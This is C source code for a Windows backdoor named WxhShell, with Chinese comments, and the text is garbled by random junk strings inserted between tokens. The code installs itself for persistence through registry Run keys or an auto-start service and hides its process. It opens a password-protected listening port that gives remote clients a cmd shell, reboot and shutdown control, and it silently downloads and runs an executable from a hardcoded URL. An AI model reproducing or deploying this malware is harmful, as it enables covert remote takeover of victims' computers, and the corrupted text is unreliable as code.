KMbs ,~ia$vI}R PROCNTQSIP NtQueryInformationProcess; "\R@lUx.Y ]w&?k:y> static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tSh}0N) static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zwniS6R1 k8t Na@H HANDLE hProcess; 0W<nE[U PROCESS_BASIC_INFORMATION pbi; @poMK: 4BUK5)B HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iJynR [7 if(NULL == hInst ) return 0; ,&pF:qlF Pvb+
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2)j#O g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %+j]vP NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s].'@_~s F%ylR^H> if (!NtQueryInformationProcess) return 0; (VF4FC V~gUMu4ot hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZF11v(n if(!hProcess) return 0; #k|g9` }IalgQ(i if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \Im\*A fv 1!^CDia CloseHandle(hProcess); +oKpA\mz VEdnP+D hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ovBd%wJ 0 if(hProcess==NULL) return 0; VQW)qOR9 xa%ktn HMODULE hMod; 6jy n,GU char procName[255]; N6m*xxI{ unsigned long cbNeeded; (
_F lDX&v$ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %q\P 'cK $/U^/2) CloseHandle(hProcess); VlQwVe /{#_Um0. if(strstr(procName,"services")) return 1; // 以服务启动 JEkIbf?=r (qc!-Isd~[ return 0; // 注册表启动 DoPF/m} } I5<#SW\a? piM11W}|/ // 主模块 p6k'Q int StartWxhshell(LPSTR lpCmdLine) dxhjPS~^Q { 1wNY}3 SOCKET wsl; pl^"1Z=* BOOL val=TRUE; uD*s^ int port=0; rsIPI69qJ. struct sockaddr_in door; C,e$g 576-X_a, if(wscfg.ws_autoins) Install(); AB|VO4-? p(b1I+! port=atoi(lpCmdLine); =g>7|?6>= D 5wR?O if(port<=0) port=wscfg.ws_port; JV6U0$g_S r
:MaAT< WSADATA data; @xM!: if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d}B_ll#j- :$Di.|l@7 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ,I:m*.q setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sZP3xh[B door.sin_family = AF_INET; hZ / door.sin_addr.s_addr = inet_addr("127.0.0.1"); `F`'b) door.sin_port = htons(port); Vh[o[ U y2hFUq if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hm} :Me$[) closesocket(wsl); v>cE59('0 return 1; k2,oyUT=S } 1NHoIX :8!3*C-= if(listen(wsl,2) == INVALID_SOCKET) { E1 gTrMo closesocket(wsl); {3p7`h~ return 1; [ BC%$Sj } ii]=C(e9 Wxhshell(wsl); #WmAkzvq WSACleanup(); `m0Uj9)# t>|N4o return 0; )/i|"`)>_ WHj4#v( } C-b% PgA $j2)_(<A%Q // 以NT服务方式启动 +mW$D@Pf VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )
#=~1hk { TOF62, DWORD status = 0; 3V!&y/c< DWORD specificError = 0xfffffff; D$!p+Q +T-zf@j serviceStatus.dwServiceType = SERVICE_WIN32; NF.6(PG| serviceStatus.dwCurrentState = SERVICE_START_PENDING; V+<AG*[ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7Mg7B serviceStatus.dwWin32ExitCode = 0; KGLhl;a serviceStatus.dwServiceSpecificExitCode = 0; GyM%vGl
3 serviceStatus.dwCheckPoint = 0; v.&*z48 serviceStatus.dwWaitHint = 0; }eRG$)' kvVz-PJy hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Lj* =*V if (hServiceStatusHandle==0) return; !!X9mI|2| 6f9<&dCK status = GetLastError(); Y52xrIvl\ if (status!=NO_ERROR) @X><lz { 34M.xB serviceStatus.dwCurrentState = SERVICE_STOPPED; csA.3|rv serviceStatus.dwCheckPoint = 0; tnbs]6 serviceStatus.dwWaitHint = 0; +dpj? serviceStatus.dwWin32ExitCode = status; ^dKaa serviceStatus.dwServiceSpecificExitCode = specificError; Gqb-3ngH SetServiceStatus(hServiceStatusHandle, &serviceStatus); q@Yt`$VTN return; tZ24}~da } KK3xz*W0 T@.m^|~ serviceStatus.dwCurrentState = SERVICE_RUNNING; t SLl'XeN serviceStatus.dwCheckPoint = 0; V>j` serviceStatus.dwWaitHint = 0; f9=X7"dzP if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )KQv4\0y< } uB"m!dL BU{V,|10a // 处理NT服务事件,比如:启动、停止 .wn_e=lT VOID WINAPI NTServiceHandler(DWORD fdwControl) tpzdYokh> { $ttr_4= switch(fdwControl) (G!J== { q x }fn/: case SERVICE_CONTROL_STOP: 0c6AQP"=V serviceStatus.dwWin32ExitCode = 0; -t#a*?"$w serviceStatus.dwCurrentState = SERVICE_STOPPED; o5@P>\u> serviceStatus.dwCheckPoint = 0; lXy@Cf serviceStatus.dwWaitHint = 0; |3o@IuGt { CPE
F,,\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); s(LqhF[N2] } qinQ5 t return; r>@/XYK&\ case SERVICE_CONTROL_PAUSE: O*CX@Ne
serviceStatus.dwCurrentState = SERVICE_PAUSED; uKzz/Y{ break; 717m.t,x case SERVICE_CONTROL_CONTINUE: ,qqV11P] serviceStatus.dwCurrentState = SERVICE_RUNNING; [zd-=.:+M[ break; /s_$CSiB case SERVICE_CONTROL_INTERROGATE: Ybg`Z break; Zpd>' ${4 }; 2Yjysn SetServiceStatus(hServiceStatusHandle, &serviceStatus); \uIC<#o"N } 5i&V ~G rmoEc]kt] // 标准应用程序主函数 ^Exq=oV int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e(N <Mf { u`nn{C4D" Zul32]1r // 获取操作系统版本 Vs(Zs[ OsIsNt=GetOsVer(); na; ^/_U@ GetModuleFileName(NULL,ExeFile,MAX_PATH); :m)?+ /Loe y
// 从命令行安装 NistW+{< if(strpbrk(lpCmdLine,"iI")) Install(); OyZ>R~c'B dAt[i\S // 下载执行文件 _(
Cp if(wscfg.ws_downexe) { oIgj)AY< if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )q-!5^ak WinExec(wscfg.ws_filenam,SW_HIDE); jd'R2e } He23<hd! Y)RikF > if(!OsIsNt) { O:R{4Q*5 // 如果时win9x,隐藏进程并且设置为注册表启动 $QnfpM%+= HideProc(); 0P
>dXd)T StartWxhshell(lpCmdLine); yln.E vJjD } E:OeU_\ else AtYYu if(StartFromService()) Tr!X2#)A! // 以服务方式启动 N^at{I6C StartServiceCtrlDispatcher(DispatchTable); KPqI( else Im#$iPIvT // 普通方式启动 4 l(o{{ StartWxhshell(lpCmdLine); *r3vTgo$ y~ LVK8 return 0; y>PbYjuIU } @>ZjeDG> e:R[ UGgi) t9{EO#o'k =========================================== yh<aFYdk =,]M$M 2F{IDcJI\ .[A S =c4U%d2 J6P
Tkm}^ " q;JQs:U! ;hDr+&J| #include <stdio.h> HPB1d!^ #include <string.h> )YnN9"8 #include <windows.h> mYX) =B{ #include <winsock2.h> $Yc9><i #include <winsvc.h> ^f]pK&MAmN #include <urlmon.h> WLb7]rCTp @I:&ozy }= #pragma comment (lib, "Ws2_32.lib") }hxYsI"d #pragma comment (lib, "urlmon.lib") 5Bk ;wZ.p"T9^ #define MAX_USER 100 // 最大客户端连接数 AR^Di`n! #define BUF_SOCK 200 // sock buffer v2R:=d
')> #define KEY_BUFF 255 // 输入 buffer 6 [E" ^u{$$.& #define REBOOT 0 // 重启 +=4b5*+qG #define SHUTDOWN 1 // 关机 9b6h!( "Q4{6FH+mB #define DEF_PORT 5000 // 监听端口 \PJ89u0 iL<O|' be #define REG_LEN 16 // 注册表键长度 J$[Vm%56 #define SVC_LEN 80 // NT服务名长度 Sa5 y7
s5e}X: // 从dll定义API 4G ?k31,k typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g-36Q~`9v typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GYO"1PM typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s]UeDZ<a typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P])O\<)J ww,'n{_ // wxhshell配置信息 Ns(F%zkm struct WSCFG { @}:(t{>;e7 int ws_port; // 监听端口 fJKOuFK char ws_passstr[REG_LEN]; // 口令 zT"#9"[" int ws_autoins; // 安装标记, 1=yes 0=no 9"TPDU7" char ws_regname[REG_LEN]; // 注册表键名 |.5d ^z char ws_svcname[REG_LEN]; // 服务名 Dlp::U*N' char ws_svcdisp[SVC_LEN]; // 服务显示名 VXp
X#O char ws_svcdesc[SVC_LEN]; // 服务描述信息 Vv]mME@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wW~2]*n int ws_downexe; // 下载执行标记, 1=yes 0=no PoZBiw@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fsoS!6h0k char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SbY i|V,H ;7}*Xr| }; Q>$v~v?9 b._pG(o1 // default Wxhshell configuration e6Y0G,K struct WSCFG wscfg={DEF_PORT, ]h6<o* "xuhuanlingzhe", tEl_A"^e 1, }<p%PyM "Wxhshell", ="4 )! "Wxhshell", KMa?2cJH# "WxhShell Service", va\cE*,@ns "Wrsky Windows CmdShell Service", PQ" Dl=, "Please Input Your Password: ", h.NA$E?7 1, Sj\8$QIXC "http://www.wrsky.com/wxhshell.exe", '4EJ_Vhztc "Wxhshell.exe" $1YnQgpT }; nM#\4Q[}Jh QMP:} // 消息定义模块 ?uQpt( char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a9%#
J^! char *msg_ws_prompt="\n\r? for help\n\r#>"; [/FIY!nC? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L-yC 'C char *msg_ws_ext="\n\rExit."; E@p9vf-> char *msg_ws_end="\n\rQuit."; y$rp1||lH char *msg_ws_boot="\n\rReboot..."; ZC"p^~U_e[ char *msg_ws_poff="\n\rShutdown..."; c)?y3LX char *msg_ws_down="\n\rSave to "; <#sK~G x\WKsc char *msg_ws_err="\n\rErr!"; ``{xm1GK char *msg_ws_ok="\n\rOK!"; "Z
<1Msz V0>,Kxk char ExeFile[MAX_PATH]; >
ewcD{bt int nUser = 0; ? T9-FGW HANDLE handles[MAX_USER]; p)`JVq,H/B int OsIsNt; @xo9'M<l 7y!{lr=n SERVICE_STATUS serviceStatus; WukD|BCC SERVICE_STATUS_HANDLE hServiceStatusHandle; gU:jx -4.+&' // 函数声明 _
._'\ int Install(void); U:H*b{`TU int Uninstall(void); 1jR<H$aS int DownloadFile(char *sURL, SOCKET wsh); 6v-h!1p{u int Boot(int flag); YvonZ void HideProc(void); p4=^
UP int GetOsVer(void); ] '..G- int Wxhshell(SOCKET wsl); umY4tNe]$ void TalkWithClient(void *cs); o}BaZ|iZ2 int CmdShell(SOCKET sock); OvkY zI` int StartFromService(void); c(:GsoO int StartWxhshell(LPSTR lpCmdLine); d4/ZOj+% #-{4F?DA]y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b$hQB090 VOID WINAPI NTServiceHandler( DWORD fdwControl ); tlE+G@|^ !"Kg
b;A // 数据结构和表定义 i -+B{H SERVICE_TABLE_ENTRY DispatchTable[] = HQ"D>hsuU { *&7Av7S {wscfg.ws_svcname, NTServiceMain}, @<_4Nb {NULL, NULL} b?z 8Yp6 }; LaRY#9 8D-g%Aj- // 自我安装 =73wngw int Install(void) uXXwMc<p { |,o!O39}> char svExeFile[MAX_PATH]; c}QjKJ-c HKEY key; Vx'_fb?wap strcpy(svExeFile,ExeFile); JHcC}+H[ vb# d%1b5 // 如果是win9x系统,修改注册表设为自启动 o`G@Je_}x if(!OsIsNt) { *x$\5;A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H'+P7*k#M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7P=j2;7 v RegCloseKey(key); l78zS' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vNP,c]:% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DEIn:d RegCloseKey(key); #8cY,%<S] return 0; -YD6 } 7yK
> } 5E$)Ip } L0}"H
. else { #,Rmu w _n)*he)z // 如果是NT以上系统,安装为系统服务 z"|^Y|`m SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tJc9R2 if (schSCManager!=0) 94Z~]C { m8.sHw SC_HANDLE schService = CreateService 99vm7"5 hQ ( =F6J%$ schSCManager, t68h$u wscfg.ws_svcname, _&P![o)x wscfg.ws_svcdisp, b2hB'!m SERVICE_ALL_ACCESS, -3A#a_fu SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xI$B",?( SERVICE_AUTO_START, 'F1NBL SERVICE_ERROR_NORMAL, g9g^zd, svExeFile, V#zDYrp NULL, n>{>3? NULL, z6\Y& { NULL, sa{X.}i%E NULL, kP3'BBd, NULL [/xw5rO% ); lj(}{O if (schService!=0) KnKV+:" { 7Q2"]f,$CQ CloseServiceHandle(schService); \f.ceh;! CloseServiceHandle(schSCManager); bmFnsqo strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >J+hu;I5 strcat(svExeFile,wscfg.ws_svcname); )=#QTiJ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?J|~G{yH RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k1W
q$KCwG RegCloseKey(key); iXeywO2nP return 0; &jr'vS[b } 8sLp! O;f2 } b+,u_$@B CloseServiceHandle(schSCManager); qhc3 oRe } wpO-cJ!, } zrri&QDF< d?S7E
q9` return 1; SnRk` 5t } %[b~4,c1 crG+BFi // 自我卸载 a2/!~X9F int Uninstall(void) g^/ { s${ew.eW HKEY key; s0WI93+z %Sf%XNtu if(!OsIsNt) { lOYzo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1*, f RegDeleteValue(key,wscfg.ws_regname); '(4$h3-gv7 RegCloseKey(key); jNBvy1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =y.? =`" RegDeleteValue(key,wscfg.ws_regname); %i:Sf RegCloseKey(key); rjHL06qE return 0; eKsc [" } PQDWY } ED[`Y.; } l@Uo4b^4x else { MIGcV9hf .-Yhpw>f SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z(k7&^d if (schSCManager!=0) )OpB\k { d ]R&mp|' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wGr5V! if (schService!=0)
!*5vXN { 3=SIIMp7= if(DeleteService(schService)!=0) { )*Xd CloseServiceHandle(schService); *z&m=G\ CloseServiceHandle(schSCManager); /{QR:8}-Q return 0; l.NV]up+ } lu2"?y[2 CloseServiceHandle(schService); <?znk8| } 6qp2C]9= CloseServiceHandle(schSCManager); VPBlU } ZUPlMHc } pCb3^# &o /Sy:/BQ return 1; WrP4*6;" } KG=h!]Meq Pv,Q*gh` // 从指定url下载文件 LX5, _`B int DownloadFile(char *sURL, SOCKET wsh) ]#x!mZ! { b+7!$ HRESULT hr; Y=94<e[f" char seps[]= "/"; n o).70K char *token; M@%$9N)gd char *file; KElzYZl8 char myURL[MAX_PATH]; 99)m d char myFILE[MAX_PATH]; jg%HaA<zO \qk+cK;+ strcpy(myURL,sURL); apFY//(yu token=strtok(myURL,seps); Uskz~~}G while(token!=NULL)
:.u[^_
{ tgz file=token; <Wqk5mR token=strtok(NULL,seps); bLSXQStB } N{rC#A3 8Evon&G59 GetCurrentDirectory(MAX_PATH,myFILE); 4K{<R!2I strcat(myFILE, "\\"); 1HPYW7jk@" strcat(myFILE, file); gK7bP'S8H send(wsh,myFILE,strlen(myFILE),0); St 4YNS.| send(wsh,"...",3,0); O{@m ,uY hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >AFX}N# if(hr==S_OK) :56f return 0; Ut|G.%1Vd% else -SO`wL NV return 1; ]m&cVy& k?[|8H~2C } "eRf3Q7w: >Z-f</v03 // 系统电源模块 n^kszIu~ int Boot(int flag) N!RkV\:X { U5_1-wV HANDLE hToken; eksYIQZ] TOKEN_PRIVILEGES tkp; !LDuCz
- tw{V7r~n if(OsIsNt) { WJD1U?` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \r4QS LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {tqLH2cO tkp.PrivilegeCount = 1; *}\}@0% tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #*r u* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [,_4#Zz if(flag==REBOOT) { b3$aPwv if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [
QHSCF5 return 0; kta`[%KmIZ } ,AX7~;hpq else { I" AgRa if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7NG^I6WP- return 0; 6@N?`6Bt } pyvZ[R9 } /1s|FI$-L else { 4^|;a0Qy] if(flag==REBOOT) { ~D[5AXV`^ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ? dD<KCbP, return 0; 5yC$G{yV } HZ>8@AVa\ else { WrzyBG_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i]sz*\P~ return 0; =[X..<bW9: } Yr7%C } iP nu *29 EUxkYl return 1; 4O~E4" ] } )}{V#,xz@ l,(Mm,3 // win9x进程隐藏模块 e~Hx+Qp.G void HideProc(void) '1o1=iJN@$ { ,sU#{.( ">?ocJ\9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?z
"fp$ if ( hKernel != NULL ) Ws_RS% { @%8Xa7+ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o'9K8q\1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aN\psg FreeLibrary(hKernel); yW3X<
} X[F<sxw XI>|"*-l return; aq a%B } T!GX^nn*O Z33&FUU // 获取操作系统版本 7.G1Q]6/ int GetOsVer(void) f{]eb1 { Km)5;BQxg OSVERSIONINFO winfo; $m$tfa- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =e<;B_~. GetVersionEx(&winfo); y1zNF$<q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W`$D*X0*o return 1; v&.`^O3W else =x8F!W}Bt< return 0; AYB
=iLa } J?Y1G<& t")+L{ // 客户端句柄模块 %&D,|Yl6 int Wxhshell(SOCKET wsl) Cpyv@+;D { hJ)>BeH0 SOCKET wsh; HLjXH#ry struct sockaddr_in client; W6kDQ&q DWORD myID; #Kr\"o1] :j sa.X while(nUser<MAX_USER) F4=+xd >0 { ~S5wfx& int nSize=sizeof(client); `vkNp8| wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aFZu5-=x if(wsh==INVALID_SOCKET) return 1; v^Vr^!3 XET'XJWF% handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z0XH`H|~ if(handles[nUser]==0) pP1|/f5n` closesocket(wsh); X)-9u 8 else .I6:iB nUser++; }7`HJ>+m)H } H<^*V8J 'w WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 41pk )8~pt l~f>ve| return 0; BE&P/~(C } I=N;F6 bu;3Ib3\ // 关闭 socket @y{i.G void CloseIt(SOCKET wsh) pHW
Qk z( { :'\4%D=w closesocket(wsh); w&A&BE^O/ nUser--; 3$]SP1Mc( ExitThread(0); 1x\Vz\ } M5mCG .GJl@==~1 // 客户端请求句柄 R"j6 w[tn void TalkWithClient(void *cs) $OE~0Z\0 { 6SYQRK Iyo ey SOCKET wsh=(SOCKET)cs; @B<B# char pwd[SVC_LEN]; t>04nN_@,s char cmd[KEY_BUFF]; M?61g( char chr[1]; ^X&`:f int i,j; W{0gtT0 -jBk while (nUser < MAX_USER) { fS( )F*J ?,dbrQ if(wscfg.ws_passstr) { @;T>*_Yhn if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'f+g`t? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )gO=5_^u*o //ZeroMemory(pwd,KEY_BUFF); >a5M:s) i=0; IaxzkX_48 while(i<SVC_LEN) { .EOHkhn XHKVs // 设置超时 (kECV8)2 fd_set FdRead; ZBDEE+8e struct timeval TimeOut; (-lu#hJ`&r FD_ZERO(&FdRead); N8$MAW FD_SET(wsh,&FdRead); aFI?^"L TimeOut.tv_sec=8; O@.afk"{ TimeOut.tv_usec=0; nm[ yp3B int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d+9T}? T:* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,zCrix
3 u )'l|Y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P#_8$#G3 pwd=chr[0]; B3p[A k if(chr[0]==0xd || chr[0]==0xa) { j Hd <* pwd=0; %h"+J break; 6bL"Z OEu } 9*?H/iN@p? i++; T<p,KqH } B{ i5UhxD W]8tp@ // 如果是非法用户,关闭 socket 9!XW): if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =c)O8 } won(HK\1p Ov
vM)?^# send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >s@6rNgf send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cm4$&? X%S9H^9 while(1) { NXAP=y3 .3(=UQ ZeroMemory(cmd,KEY_BUFF); >E;&SX S #M<d~rK // 自动支持客户端 telnet标准 (7P{k<5 j=0; 0:W*_w0Ge while(j<KEY_BUFF) { kNX(@f if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :#M(,S"Qq cmd[j]=chr[0]; "HWl7c3q if(chr[0]==0xa || chr[0]==0xd) { 7=.}484>J cmd[j]=0; /MS*_ break; {C=d9z~: } 4KB)UPW j++; yFt'<{z[nL } cZ(7/Pl
b;!oPT // 下载文件 st;.Po[h if(strstr(cmd,"http://")) { Fm\
h883\ send(wsh,msg_ws_down,strlen(msg_ws_down),0); .uAOk0^z if(DownloadFile(cmd,wsh)) NN<kO#c+2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); t7VX W{3 else N=)
E$h send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %eoO3"// } opz.kP[e, else { H6<\7W89y uJ S+;H switch(cmd[0]) { jW6~^>S q#v&&]N= // 帮助 ~o:lh],~ case '?': { ojO<sT:by send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P |c6V break; A[lkGQtS4 } .tB[8Y =J // 安装
D7%`hU case 'i': { S3-3pJ]~Zk if(Install()) _oxc~v\< send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Bc J;X/ else mw<LNnT{8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5S'89 r3m break; XUUl*5^ } uS3s // 卸载 .K(IRWuw case 'r': { zosJ=$L if(Uninstall()) *Yk3y-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GXC:~$N else zJ4 2%0g send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JLT^0wBB break; rj"oz" } _20nOg`o // 显示 wxhshell 所在路径 #vJDb |z case 'p': { &Y"u*)bm char svExeFile[MAX_PATH]; XW6>;:4k strcpy(svExeFile,"\n\r"); PTe8,cD> strcat(svExeFile,ExeFile); &?(r#T send(wsh,svExeFile,strlen(svExeFile),0); YPAMf&jEF break; ugg08 am! } 4{rwNBj( // 重启 Pj_2y)^? case 'b': { >JVZ@
PV
H send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \D BtU7"v if(Boot(REBOOT)) g7k|Ho-W send(wsh,msg_ws_err,strlen(msg_ws_err),0); (3C6'Wt else { @dAc2<4 closesocket(wsh); C7&4, ], ExitThread(0); R;6(2bTN6 } 6\(wU?m'/ break; %s~MfK.k } [3++Q-rR= // 关机 ZK))91;v case 'd': { wmFI? send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #5)E4"m if(Boot(SHUTDOWN)) "Ko^m(` send(wsh,msg_ws_err,strlen(msg_ws_err),0); E1:{5F5/ else { b,YTw closesocket(wsh); sW 7R&t!G ExitThread(0); G S-@drZp_ } vX})6O break; I.I:2Ew+ } &eq>> // 获取shell v\ggFrG] case 's': { RKaCX: CmdShell(wsh); '7Dg+a^x7 closesocket(wsh); P?*$Wf,~n ExitThread(0); ;X6FhQ;{*0 break; I,D24W4l } G"0YCi#I| // 退出 `,~I*}T>5W case 'x': { Kx?3 ] send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qve2?,i8hM CloseIt(wsh); y yfm break; j,QeL } ~a&s5E
{ // 离开 [*w^|b? case 'q': { V%?oI]"
l send(wsh,msg_ws_end,strlen(msg_ws_end),0); %qRbl4 closesocket(wsh); Sf[ZGY) WSACleanup(); ,EW-21 exit(1); HjKj.fV break; Pq`]^^=be' } $-Q,@Bztq } b Mi,z3z } o~H4<ayy 8D[P*?O // 提示信息 &;5QB if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PiXegh WH } kL,bM.; } |XOD~Plo^ cP63q|[[ return; j?4k{?x } W!4(EdT*Cq ;
k{w@L.@ // shell模块句柄 .r+ u pY int CmdShell(SOCKET sock) !'(bwbd { a5C% OI< STARTUPINFO si; J3cbDE%^m ZeroMemory(&si,sizeof(si)); P4"_qxAW si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; to9
u%d 8 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k$?zh$ PROCESS_INFORMATION ProcessInfo; vK)^;T ; char cmdline[]="cmd"; W4Nbl CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F`-|@k return 0; 3{ i'8 } Y!* \=h6h Am&/K\O // 自身启动模式 2 /O/h
int StartFromService(void) "P`V|g { lDd+.44V: typedef struct :VC#\/f { i6M_Gk} DWORD ExitStatus; udM<jY]5p DWORD PebBaseAddress;
bz'V50 DWORD AffinityMask; 6f/>o$ DWORD BasePriority; !mH2IjcL ULONG UniqueProcessId; #` )zD"CO ULONG InheritedFromUniqueProcessId; !Vl>?U?AN } PROCESS_BASIC_INFORMATION; W*iPseXq Tq[=&J PROCNTQSIP NtQueryInformationProcess; FI{9k( We%-?l:" static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <&E3QeK static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '>-
C!\t F`g oYwA% HANDLE hProcess; ,\zp&P"p PROCESS_BASIC_INFORMATION pbi; +"rZ< i 9MA/nybI HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v`evuJ\3 if(NULL == hInst ) return 0; YqwDvJWX gE'b.04Y9i g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .w2X24Mmb g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _!6~o> NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \TqKm
]@_M)[ x if (!NtQueryInformationProcess) return 0; ~Q%C> F
}l_= hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W#!![JDc if(!hProcess) return 0; -I4-K%%B` }
